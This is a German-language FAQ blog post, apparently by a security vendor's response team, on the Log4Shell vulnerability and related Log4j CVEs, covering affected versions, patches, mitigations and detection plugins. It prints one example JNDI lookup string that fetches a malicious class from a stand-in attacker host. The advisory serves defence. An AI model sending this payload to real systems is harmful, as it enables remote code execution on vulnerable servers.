CVE-2021-44228, CVE-2021-45046, CVE-2021-4104: Häufig gestellte Fragen zu Log4Shell und damit zusammenhängenden Schwachstellen

Eine Liste häufig gestellter Fragen im Zusammenhang mit Log4Shell und damit verbundenen Schwachstellen.
Update vom 18. Dezember: Apache hat Log4j Version 2.17.0 veröffentlicht und CVE-2021-45105 bekannt gegeben, eine Denial-of-Service-Schwachstelle, die in nicht standardmäßigen Konfigurationen ausgenutzt werden kann. Der vorliegende Beitrag wurde mit diesen zusätzlichen Informationen aktualisiert.
Update vom 20. Dezember: Tenable hat Windows- und Linux-Audits veröffentlicht, um zu ermitteln, ob die empfohlenen Abhilfemaßnahmen auf Systemen, die nicht gepatcht werden können, ordnungsgemäß umgesetzt wurden. Weitere Informationen finden Sie nachstehend.
Update vom 4. Januar: Apache hat Log4j 2.17.1, 2.12.4 und 2.3.2 veröffentlicht, um eine neue Schwachstelle, CVE-2021-44832, zu beseitigen. Weitere Informationen finden Sie in diesem Beitrag in der Tenable Community.
Hintergrund
Nach der Aufdeckung der als Log4Shell bekannten Apache Log4j-Schwachstelle am 9. Dezember hat das Security Response Team den folgenden Blog-Beitrag verfasst, um einige der am häufigsten gestellten Fragen (FAQ) zu Log4Shell und den neu veröffentlichten Schwachstellen in Log4j zu beantworten.
FAQ
Was ist Log4j?
Log4j ist eine weit verbreitete Java-Protokollierungsbibliothek, die in den Apache Logging Services enthalten ist. Sie wird zum Protokollieren von Meldungen einer Anwendung oder eines Dienstes verwendet, häufig zu Debugging-Zwecken.
Was ist CVE-2021-44228?
CVE-2021-44228 ist eine Schwachstelle für Remote-Code-Ausführung (RCE) in Apache Log4j 2.0 bis 2.14.1. Sie erhielt von Sicherheitsforschern den Namen Log4Shell.
Wie kann CVE-2021-44228 ausgenutzt werden?
Ein nicht authentifizierter Remote-Angreifer könnte diese Schwachstelle ausnutzen, indem er eine speziell präparierte Anforderung an einen Server sendet, auf dem eine anfällige Version von log4j ausgeführt wird. Dies könnte erreicht werden, indem eine Exploit-Zeichenfolge in ein Textfeld auf einer Website eingegeben wird oder indem die Exploit-Zeichenfolge als Teil der HTTP-Header für einen anfälligen Server eingefügt wird. Wenn der anfällige Server log4j zur Protokollierung von Anforderungen verwendet, fordert der Exploit dann über die Java Naming and Directory Interface (JNDI) mittels einer Reihe von Diensten, wie z. B. Lightweight Directory Access Protocol (LDAP), eine bösartige Payload von einem vom Angreifer kontrollierten Server an.
Ein Beispiel für einen Exploit würde etwa so aussehen:
${jndi:ldap://attackersite.com/exploit.class}
Was passiert, wenn die Sicherheitslücke ausgenutzt wird?
Die anfällige log4j-Bibliothek würde eine schädliche Payload von einem vom Angreifer kontrollierten Server anfordern und diese ausführen.
Wurden bisher bereits Angriffe „in the wild“ beobachtet?
Angreifer haben bereits damit begonnen, Log4Shell auf verschiedene Weise auszunutzen, unter anderen für:
- Software zum Schürfen von Kryptowährungen (Cryptominers)
- DDOS-Botnets (Distributed Denial-of-Service)
- Ransomware
Es liegen Meldungen vor, dass sowohl staatliche Gruppen als auch Initial Access Brokers bereits mit der Ausnutzung der Schwachstelle begonnen haben, sodass wir davon ausgehen sollten, dass APT-Gruppen (Advanced Persistent Threats) und Ransomware-Affiliates die Sicherheitslücke wahrscheinlich in naher Zukunft ebenfalls ausnutzen werden.
Warum ist Log4Shell ein so großes Problem?
Log4j ist eine weit verbreitete Bibliothek, die in einer Vielzahl von Produkten und Diensten zu Protokollierungszwecken verwendet wird, wodurch eine große Angriffsoberfläche entsteht. Die Ausnutzung von Log4Shell ist einfach, mit jederzeit verfügbarem Proof-of-Concept-Code auf GitHub. Da außerdem viele Unternehmen nicht wissen, wie weit verbreitet diese Bibliothek in den von ihnen genutzten Produkten und Dienstleistungen überhaupt ist, könnte dies langfristige Auswirkungen haben.
Wurde Log4Shell in Log4j 2.15.0 behoben?
Nein. Apache hat Log4j 2.16.0 veröffentlicht, um einen unvollständigen Fix für Log4Shell zu korrigieren. Apache hat dieser unvollständigen Korrektur eine neue CVE zugewiesen: CVE-2021-45046.
Was ist CVE-2021-45046?
CVE-2021-45046 wurde ursprünglich als Denial-of-Service-Schwachstelle in Apache Log4j 2.0 bis 2.15.0 gemeldet und ist inzwischen zu einer RCE aufgewertet worden. Unter bestimmten, nicht standardmäßigen Konfigurationen, bei denen ein Context Lookup (z. B.: $${ctx:loginId}) verwendet wird, könnte ein Angreifer, der einen JNDI-Lookup mit bösartigen Eingabedaten erstellt, einen DoS-Zustand verursachen oder Remote-Code-Ausführung auf einem anfälligen Server mit Log4j 2 erreichen.
Gilt die Abhilfemaßnahme für Log4Shell auch für CVE-2021-45046?
Nein. Laut Apache ist die bisherige Abhilfemaßnahme für CVE-2021-44228 – formatMsgNoLookups auf „true“ zu setzen – eine völlig unzureichende Maßnahme. In dieser Anweisung wurden keine anderen Codepfade berücksichtigt, in denen Message Lookups auftreten könnten. Daher empfiehlt Apache jetzt ein Upgrade auf eine sichere Version von Log4j, beginnend mit den Versionen 2.16.0 bzw. 2.12.2 (für Java 7). Sollte dies nicht möglich sein, empfiehlt Apache, den JndiLookup-Klassenpfad zu entfernen.
Was bewirkt das Release von Log4j 2.16.0 eigentlich?
Aus den Versionshinweisen geht hervor, dass Apache Log4j gehärtet hat, indem Message Lookups entfernt und JNDI standardmäßig deaktiviert wurden.
Mein Unternehmen verwendet Java 7 und wir können nicht auf Log4j 2.16.0 upgraden. Was können wir tun?
Apache hat Log4j 2.12.2 veröffentlicht, um CVE-2021-45046 für Java 7 zu beheben. Wenn ein sofortiges Patching nicht möglich ist, rät Apache, die Klasse JndiLookup aus dem Klassenpfad zu entfernen. Eine Anleitung zum Entfernen dieses Klassenpfads finden Sie in der Apache-Dokumentation.
Was ist CVE-2021-45105?
CVE-2021-45105 ist eine neu veröffentlichte Denial of Service (DoS)-Schwachstelle in Apache Log4j. Die Schwachstelle kann in nicht standardmäßigen Konfigurationen ausgenutzt werden. Ein Angreifer kann eine präparierte Anforderung senden, die einen rekursiven Lookup enthält, der zu einem DoS-Zustand führen kann. Um die Schwachstelle zu beheben, hat Apache die Log4j-Version 2.17.0 veröffentlicht. Darüber hinaus bietet Apache verschiedene Abhilfemaßnahmen für diejenigen an, die nicht in der Lage sind, sofort ein Upgrade durchzuführen. Wir empfehlen, die Seite mit Sicherheitshinweisen von Apache regelmäßig zu besuchen, da die empfohlenen Maßnahmen im Zuge neuer Entwicklungen weiterhin aktualisiert werden können.
Ist Log4j 1.x anfällig?
Es werden immer noch viele neue Informationen über Log4Shell veröffentlicht. Zum Zeitpunkt der Veröffentlichung dieses Beitrags erklärte Apache, dass Log4j 1.2 in ähnlicher Weise anfällig ist, wenn Log4j für die Verwendung von JMSAppender konfiguriert ist, was nicht Teil der Standardkonfiguration ist, aber nicht speziell für CVE-2021-44228 anfällig ist. Dieser Schwachstelle in Log4j 1.2 wurde CVE-2021-4104 zugewiesen.
Ist ein Patch für Log4j 1.2 verfügbar?
Nein, Log4j-Zweig 1.x hat End-of-Life-Status (EOL) erreicht und erhält daher keine Sicherheitsupdates mehr. Benutzer werden angewiesen, ein Upgrade auf Log4j 2.12.2 (für Java 7) bzw. auf 2.16.0 oder höher durchzuführen.
Was kann ich gegen CVE-2021-4104 unternehmen?
Es gibt einige Maßnahmen, die Sie ergreifen können, um die Ausnutzung von CVE-2021-4104 zu verhindern.
- Verwenden Sie den JMSAppender nicht in der Log4j-Konfiguration.
- Entfernen Sie die Klassendatei JMSAppender (org/apache/log4j/net/JMSAppender.class)
- Beschränken Sie den Benutzerzugriff auf das Betriebssystem, um zu verhindern, dass ein Angreifer die Log4j-Konfiguration ändern kann.
Was hat es mit all diesen Schwachstellen auf sich?
Hier ist der Stand der Dinge vom 18. Dezember:
- Für Schwachstellen, die Log4j betreffen, wurden vier CVEs vergeben.
CVE | Schwachstellentyp | Betroffene Versionen von Log4j | Nicht-Standard-Konfiguration |
---|---|---|---|
CVE-2021-44228 | RCE | 2.0 bis 2.14.1 | No |
CVE-2021-45046 | Denial of Service (DoS) und RCE | 2.0 bis 2.15.0 | Ja |
CVE-2021-4104 | RCE | 1.2* | Ja |
CVE-2021-45105 | Denial of Service (DoS) | 2.0-Beta9 bis 2.16.0 | Ja |
- Nur CVE-2021-44228 ist umgehend ausnutzbar, wenn die Log4j-Versionen 2.0 bis 2.14.1 als Bibliothek in Anwendungen und Dienste eingebunden sind.
- CVE-2021-45046, CVE-2021-4104 und CVE-2021-45105 sind nur in bestimmten nicht standardmäßigen Konfigurationen vorhanden.
- Für CVE-2021-4104 wird es keinen Patch geben, da der Log4j 1.x-Zweig End-of-Life-Status (EOL) erreicht hat.
Wie lauten die korrigierten Versionen von Log4j, die diese Sicherheitslücken schließen?
Log4j-Release | Java-Version | Release-Verfügbarkeit |
---|---|---|
2.17.0 | Java 8 | Ja |
2.16.0 | Java 8 | Ja |
2.12.2 | Java 7 | Ja |
1.2 | - | Nein (EOL) |
Wie hoch ist die Wahrscheinlichkeit, dass diese Schwachstellen ausgenutzt werden?
Die folgende Tabelle gibt einen Überblick über die Ausnutzbarkeit und darüber, ob eine Schwachstelle bereits ausgenutzt wurde oder nicht.
CVE | Wahrscheinlichkeit einer Ausnutzung | Bereits ausgenutzt |
---|---|---|
CVE-2021-44228 | Hoch | Ja |
CVE-2021-45046 | Gering | No |
CVE-2021-4104 | Gering | No |
CVE-2021-45105 | Gering | No |
Ist Tenable für eine der Schwachstellen in Log4j anfällig?
Bob Huber, der CISO von Tenable, hat eine vollständige Erklärung abgegeben, die Sie hier finden können.
Auf welche Weise kann ich/mein Unternehmen diese Schwachstellen in Log4j erkennen?
Tenable hat eine Reihe von Plugins, Scan-Vorlagen und Dashboards (Tenable.io, Tenable.sc) für unsere Produkte veröffentlicht.
- Aktualisierte Informationen zu den veröffentlichten Plugins finden Sie in diesem Beitrag in der Tenable Community.
- Aktualisierte Informationen zu Scan-Vorlagen, die veröffentlicht wurden, finden Sie in diesem Beitrag in der Tenable Community.
Kunden, die diese Schwachstellen nicht sofort patchen können, können mittels der CVE-2021-44228/CVE-2021-45046-Audits feststellen, ob die Workaround-Maßnahmen für Log4j auf ihren Systemen ordnungsgemäß angewendet wurden. Eine detailliertere Beschreibung dieser Audits finden Sie hier.
Was ist CVE-2021-44832?
CVE-2021-44832 ist eine neue Schwachstelle in Log4j, die kürzlich von Apache gepatcht wurde. Die Ausnutzung dieser Sicherheitslücke ist aufgrund der Voraussetzungen, die dafür erforderlich sind, eher unwahrscheinlich. Weitere Informationen zu dieser Schwachstelle finden Sie in diesem Beitrag in der Tenable Community.
Weitere Informationen
- Spezielle Ressourcenseite von Tenable zu Log4Shell
- Tenable-Blog zu CVE-2021-44228 (Log4Shell)
- Ressourcen und FAQ zu Log4Shell in der Tenable Community
Verfolgen Sie die Beiträge des Security Response Team von Tenable in der Tenable Community.
Erfahren Sie mehr über Tenable, die erste Cyber Exposure-Plattform für die ganzheitliche Verwaltung Ihrer modernen Angriffsoberfläche.
Testen Sie Tenable.io Vulnerability Management 30 Tage kostenlos.
Verwandte Artikel
- Schwachstellen-Management